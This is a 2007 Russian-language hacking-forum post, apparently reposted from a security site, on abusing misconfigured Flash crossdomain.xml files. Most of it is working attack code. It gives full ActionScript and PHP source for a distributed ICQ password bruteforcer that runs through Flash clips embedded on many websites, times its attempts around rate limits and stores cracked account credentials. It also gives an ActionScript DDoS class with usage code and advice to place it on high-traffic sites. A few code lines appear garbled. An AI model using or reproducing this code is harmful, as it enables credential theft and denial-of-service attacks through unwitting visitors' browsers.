ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

07.09.2007, 15:25
|
|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме: 9089375
Репутация:
4268
|
|
Пример распределенного перебора паролей (icq.com)
Рассмотрим распределенный перебор паролей на основе CDDAF на примере icq.com. Как я уже отмечал ранее, на сервере может присутствовать необходимый нам файл сертификата, причем неправильно настроенный (domain="*"). Яркий пример - icq.com (http://icq.com/crossdomain.xml).
Можно написать icq bruteforcer на основе сервиса ICQ2Go: клиентскую часть на AS1/2, серверную на PHP. В данном случае распределенный перебор паролей будет очень похож на сеть распределенного вычисления: клиент будет получать от сервера задание (пары uin-password), проверять их, отправлять результат серверу. Сервер будет выдавать клиентам задания (если клиент не посылает результат проверки в течение некоторого времени (clientTimeout), сервер отдаст это задание другому клиенту), записывать результаты, текущие параметры процесса перебора.
Скорость перебора будет зависить от числа клиентов (например, если разместить клиент на нескольких сайтах, то чем больше их суммарный online, тем выше скорость). Сразу отмечу, что после нескольких неудачных попыток аутентификации сервер icq блокирует клиента на некоторое время, поэтому для приемлемой скорости перебора необходим большой online (также необходимо правильно настроить таймауты в клиентской части).
В коде клиента я оставил информационные сообщения, их можно убрать (удалить строки вида st.text = "text"
Клиент
/*
Client for cIcqBrute by Cenarius
Email: ooohoow@gmail.com | Icq: 100732
Version: 0.2
*/
// -----------------------------------
// Config
// -----------------------------------
// Url of server, which sends tasks / receives reports
var serverUrl:String = 'http://localhost/cIcqBrute.php';
// Url of preferences for icq client
var preferencesUrl:String = 'http://download.icq.com/icq2go/flicq_preferences.xml';
// Hello server's path
var helloPath:String = '/hello';
// Data server's path
var dataPath:String = '/data';
// Number of combo for checking per one session
var comboPerSession:Number = 2;
// Freeze interval for hello tryes (seconds)
var globalFreezeTime:Number = 30;
// Timeout for each server (seconds)
var freezeInterval:Number = 60;
// Time in which preferences will be updated (hours)
var preferencesUpdateTime:Number = 24;
var transactionNumber:Number = 1000;
// -----------------------------------
// -----------------------------------
this.createTextField("st",1,20,50,500,500);
var preferences:SharedObject = SharedObject.getLocal("Preferences");
if(!preferences.data.checkedCombo) {
preferences.data.checkedCombo = 0; }
// Checking if freeze set
if(preferences.data.globalFreeze && preferences.data.globalFreeze >= new Date().valueOf()) {
st.text = "Freeze!\n";
var tmId = setInterval(
function() {
if(preferences.data.globalFreeze <= new Date().valueOf()) {
clearInterval(tmId);
checkCombo(); }
},
1000);
} else {
checkCombo(); }
function checkCombo():Void {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
if(preferences.data.comboExpires * 1000 < new Date().valueOf() or !getCurrentCombo()) {
var report:String = "id=";
if(preferences.data.comboExpires) {
report += preferences.data.comboExpires; }
var goodCombo:SharedObject = SharedObject.getLocal("Good");
report += "&good=";
for(var uin in goodCombo.data) {
report += uin + ':' + goodCombo.data[uin] + chr(182); }
st.text = "\n\t\t\t/* cIcqBruteforcer by Cenarius */\n\t\t\t\t\tversion 0.2\n\n";
st.text += "Sending good & getting new combo...\t";
// Sending good combo and loading new task
System.security.loadPolicyFile(serverUrl);
serverRequest(serverUrl, report, 'POST', onComboLoaded);
}
else {
st.text += "\n";
// Checking next combo
getCurrentCombo();
checkPreferences(); }
}
// Sets next combo and returns true
// Returns false if no combo remains
function getCurrentCombo():Boolean {
var combo:SharedObject = SharedObject.getLocal("Combo");
for(var uin in combo.data) {
if(combo.data[uin] != false) {
_global.currentUin = uin;
_global.currentPass = combo.data[uin];
return(true);
}
}
return(false);
}
function checkPreferences():Void {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
if(!preferences.data.helloServer or preferences.data.preferencesExpires < new Date().valueOf()) {
getPreferences(preferencesUrl); }
else {
// Sending Hello
st.text += "Sending hello...\t";
serverRequest(
preferences.data.helloServer + helloPath,
'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',
'GET',
onHelloDone);
}
}
function getPreferences(preferencesUrl:String):Void {
st.text += "Getting new preferences...\t";
var preferencesXML:XML = new XML();
preferencesXML.ignoreWhite = true;
preferencesXML.load(preferencesUrl);
preferencesXML.onLoad = function(success:Boolean) {
if(success) {
st.text += "done\n";
xmlParse("server_url", preferencesXML);
xmlParse("version", preferencesXML);
if(server_url) {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
preferences.data.preferncesExpires = new Date().valueOf() + preferencesUpdateTime*60*60*1000;
preferences.data.helloServer = server_url;
preferences.data.clientVersion = version;
// Sending Hello
st.text += "Sending hello...\t";
serverRequest(
preferences.data.helloServer + helloPath,
'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',
'GET',
onHelloDone);
}
else {
// No such node
}
}
else {
// Load error
}
}
}
// -----------------------------------
// OnLoad Functions
// -----------------------------------
function onComboLoaded(success:Boolean):Void {
if(success) {
st.text += "done\n";
var combo:SharedObject = SharedObject.getLocal("Combo");
var goodCombo:SharedObject = SharedObject.getLocal("Good");
var preferences:SharedObject = SharedObject.getLocal("Preferences");
combo.clear();
goodCombo.clear();
preferences.data.comboExpires = this.expires;
var comboArray = this.cmb.split(chr(182));
for(var uin in comboArray) {
combo.data[comboArray[uin].split(':')[0]] = comboArray[uin].split(':')[1];
}
getCurrentCombo();
checkPreferences();
} else {
// Making next try in 2 seconds
delay(checkCombo, 2000);
}
}
function onHelloDone(success:Boolean):Void {
if(success) {
st.text += "done\n";
st.text += "Data server: " + this.server + " [" + this.session + "]\n";
var servers:SharedObject = SharedObject.getLocal("Servers");
if(!checkExistence(this.server, "Servers") or servers.data[this.server].freezeTime <= new Date().valueOf()) {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
preferences.data.currentDataServer = this.server;
servers.data[preferences.data.currentDataServer] = new Object();
servers.data[preferences.data.currentDataServer].session = this.session;
st.text += "Sending login request...\t";
// Login try
serverRequest(
'http://' + this.server + dataPath,
'session=' + this.session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000',
'GET',
onLoginTry);
} else {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
preferences.data.globalFreeze = new Date().valueOf() + globalFreezeTime * 1000;
st.text += "Delay " + globalFreezeTime + " 000 milliseconds\n";
delay(
function() {
// Sending Hello
st.text += "Sending hello...\t";
serverRequest(
preferences.data.helloServer + helloPath,
'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',
'GET',
onHelloDone);
}, globalFreezeTime * 1000);
}
} else {
checkCombo();
}
}
function onLoginTry(success:Boolean):Void {
if(success) {
var combo:SharedObject = SharedObject.getLocal("Combo");
var preferences:SharedObject = SharedObject.getLocal("Preferences");
var servers:SharedObject = SharedObject.getLocal("Servers");
st.text += "done [" + this.code + "]\n";
if(this.code == 1020) {
// Bad password
st.text += 'Bad: ' + currentUin + ":" + currentPass + "\n";
combo.data[currentUin] = false;
preferences.data.checkedCombo++;
}
else if(this.event == 2010) {
// Good password
st.text += 'Good: ' + currentUin + ":" + currentPass + "\n";
var goodCombo:SharedObject = SharedObject.getLocal("Good");
goodCombo.data[currentUin] = currentPass;
combo.data[currentUin] = false;
preferences.data.checkedCombo++;
}
if(preferences.data.checkedCombo >= comboPerSession or this.code == 1100) {
// Rate limit
servers.data[preferences.data.currentDataServer].freezeTime = new Date().valueOf() + freezeInterval * 1000;
preferences.data.checkedCombo = 0;
st.text += "Freezing: " + preferences.data.currentDataServer + " [" + servers.data[preferences.data.currentDataServer].freezeTime + "]\n";
if(getCurrentCombo()) {
st.text += "Getting next session\n";
// Sending Hello
st.text += "Sending hello...\t";
serverRequest(
preferences.data.helloServer + helloPath,
'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',
'GET',
onHelloDone);
} else {
checkCombo();
}
}
else {
if(getCurrentCombo()) {
// Login try
st.text += "Sending login request...\t";
serverRequest(
'http://' + preferences.data.currentDataServer + dataPath,
'session=' + servers.data[preferences.data.currentDataServer].session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000',
'GET',
onLoginTry); }
else {
checkCombo();
}
}
} else {
checkCombo();
}
}
// -----------------------------------
// Auxiliary functions
// -----------------------------------
function serverRequest(
requestUrl:String, vars:String, method:String, onLoadFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onLoad = onLoadFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
function checkExistence(server:String, soName:String):Boolean {
var _so:SharedObject = SharedObject.getLocal(soName);
for(var s:String in _so.data) {
if(s == server) {
return(true); }
}
return(false);
}
// Delay: starts func:Function in interval:Number milliseconds
function delay(func:Function, interval:Number) {
if(timeId) { clearInterval(timeId); timeId = false; func(); }
else { timeId = setInterval(delay, interval, func); }
}
// Parses dataNode:XMLNode, if founds nodeName:String
// initializes _global[nodeName_str] with value of node nodeName
function xmlParse(nodeName:String, dataNode:XMLNode) {
for (var node:XMLNode = dataNode.firstChild; node != null; node = node.nextSibling) {
if(node.nodeType == 1) {
if(node.nodeName == nodeName) {
_global[nodeName] = node.firstChild.toString(); }
if(node.hasChildNodes()) {
xmlParse(nodeName, node); }
}
}
}
// Returns next transaction number
function getNextTransNum():Number {
if(transactionNumber > 99999) {
transactionNumber = 1000; }
return(transactionNumber++);
}
// Encrypts string:String, returns encrypted string
function encrypt(string:String):String {
var encData:String = "";
for(var i = 0; i <= string.length - 1; i++) {
var firstChar = (string.charCodeAt(i) & 240) >> 4;
var secondChar = string.charCodeAt(i) & 15;
encData += String.fromCharCode(firstChar + 65) + String.fromCharCode(secondChar + 65);
}
return(encData);
}
// EOF
Сервер на PHP:
PHP код:
<?php
/*
Server for cIcqBrute by Cenarius
Email: ooohoow@gmail.com | Icq: 100732
Version: 0.1
*/
// --------------------------------
// Config
// --------------------------------
$comboFile = 'cmb.txt'; // File with combo (uin:password)
$goodFile = 'good.txt'; // File for dumping good combo
$tmpFile = 'combo_tmp.txt'; // File for writing temporary info of bruteforcing process
$comboPerClient = 2; // Number of combo in one client's task
$clientTimeout = 300; // Client timeout (seconds)
// --------------------------------
set_time_limit(0);
error_reporting(E_ALL ^ E_NOTICE);
if(!isset($_POST['id']) or !isset($_POST['good'])) {
echo '<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>'."\";
exit();
}
if($_POST['id']) {
$tmpContent = file($tmpFile);
$clientCombo = parseTmp($tmpContent);
$comboOffset = trim($tmpContent[0]);
$clientCombo[(int)$_POST['id']] = 'del';
updateTmp($clientCombo, $comboOffset);
}
if($_POST['good']) {
$gHandle = fopen($goodFile, "a");
fwrite($gHandle, implode("\n", explode(chr(182), stripslashes($_POST['good']))));
fclose($gHandle);
}
if(!file_exists($comboFile) || !is_readable($comboFile)) {
exit("- Error: can't open/read <b>$comboFile</b>"); }
if(!file_exists($tmpFile) || filesize($tmpFile) == 0) {
$comboOffset = 0; }
else {
$tmpContent = file($tmpFile);
$clientCombo = parseTmp($tmpContent);
$comboOffset = trim($tmpContent[0]);
if($clientCombo) {
foreach(array_keys($clientCombo) as $liveTime) {
if(time() > $liveTime) {
list($offset, $amount) = split(':', $clientCombo[$liveTime]);
sliceCombo($offset, $amount);
$clientCombo[$liveTime] = 'del';
$id = time() + $clientTimeout;
echo '&expires=' . $id . "\";
$clientCombo[$id] = $offset . ':' . $amount;
updateTmp($clientCombo, $comboOffset);
exit();
}
}
}
}
$newOffset = sliceCombo($comboOffset, $comboPerClient);
$id = time() + $clientTimeout;
echo '&expires=' . $id . "\";
$clientCombo[$id] = $comboOffset . ':' . $comboPerClient;
updateTmp($clientCombo, $newOffset);
function parseTmp($tmpContent) {
$comboOffset = trim(array_shift($tmpContent));
if(!$comboOffset) {
exit(" - Error: wrong tmp file: <b>$tmpFile</b><br> Repair or delete it"); }
foreach($tmpContent as $str) {
if(preg_match("/(\d+)\t(\d+:\d+)\n/", $str, $matches)) {
$clientCombo[$matches[1]] = $matches[2];
}
}
return $clientCombo;
}
function sliceCombo($offset, $amount) {
global $comboFile;
$handle = fopen($comboFile, "r") or exit();
if(fseek($handle, $offset) == -1) {
exit(); }
$answer = 'cmb=';
for($i = 1; $i <= $amount; $i++) {
$answer .= trim(fgets($handle)) . chr(182); }
$answer = preg_replace("/".chr(182)."$/", "", $answer);
echo $answer;
$newOffset = ftell($handle);
fclose($handle);
return $newOffset;
}
function updateTmp($data, $mainOffset) {
global $tmpFile;
$tmpHandle = fopen($tmpFile, "w");
fwrite($tmpHandle, $mainOffset . "\n");
foreach(array_keys($data) as $liveTime) {
if($data[$liveTime] != 'del') {
fwrite($tmpHandle, $liveTime . "\t" . $data[$liveTime] . "\n");
}
}
fclose($tmpHandle);
}
?>
Пример DDoS
Приведу простейший пример реализации DDoS на AS3. Клиент будет в некоторое количество потоков посылать серверу запрос и разрывать соединение. Для этого я написал класс на основе URLLoader [DDoS.as]:
package {
import flash.net.*;
import flash.events.*;
public class DDoS {
private var targetUrl:String;
private var method:String;
private var vars:String;
// Constructor
public function DDoS(
targetUrl:String, method:String = 'GET', vars:String = null):void {
this.targetUrl = targetUrl;
this.method = method;
this.vars = vars;
}
// Starts DDoS
public function init():void{
var request:URLRequest = new URLRequest(targetUrl);
request.method = method;
if(vars) { request.data = vars; }
var loader:URLLoader = new URLLoader();
loader.addEventListener(Event.OPEN, function() { loader.close(); init(); } );
try {
loader.load(request);
} catch (error:Error) { init(); }
}
}
}
Пример использования:
// Config
const policyFile = "http://site.com/cross.xml";
const threadsNumber = 15;
flash.system.Security.loadPolicyFile(policyFile);
var ddos  DoS = new DDoS('http://site.com/search.php', 'POST', 'a=b&c=d');
for(var i:Number = 1; i <= threadsNumber; i++) {
ddos.init();
}
Полученный клип можно расположить на множестве сайтов: чем больше суммарный online, тем больше шансов на успех.
Трудности при написании exploits
При написании эксплоитов для описанной уязвимости важно стремиться к максимальной универсальности, кросс-браузерности. При этом и возникают проблемы из-за того, что клиенты используют разные браузеры, разные версии Flash Player. Часто приходится использовать регулярные выражения, однако поддержка RegExp появилась только с Flash Player 9. Использовать RegExp в предыдущей версии плеера можно посредством вызова Javascript (класс ExternalInterface). Таким образом, если при написании exploit необходимо использовать регулярные выражения, есть два выхода:
> Использовать RegExp Javascript'a через класс ExternalInterface:
+ Работа в Flash Player 8+
- Необходимость поддержки браузером клиента Javascript
> Использовать RegExp в ActionScript 3:
+ Не требуется поддержка Javascript
- Работа только в Flash Player 9+
Примеры использования обоих методов были приведены разделе о практическом применении уязвимости.
Заключение
На мой взгляд, в настоящее время хакеры для своих целей в основном используют Javascript, однако возможности Flash намного его превосходят(особенно с появлением ActionScript 3) Надеюсь, данная статья это продемонстрировала. Были рассмотрены наиболее общие способы применения уязвимости, однако только ими ее использование не ограничивается.
Скачать исходные коды скриптов
Статья взята с сайта www.securitylab.ru
Author: Cenarius
Email: ooohoow@gmail.com Icq: 100732
Date: 26 July 2007
__________________
...
Последний раз редактировалось Alexsize; 07.09.2007 в 15:34..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|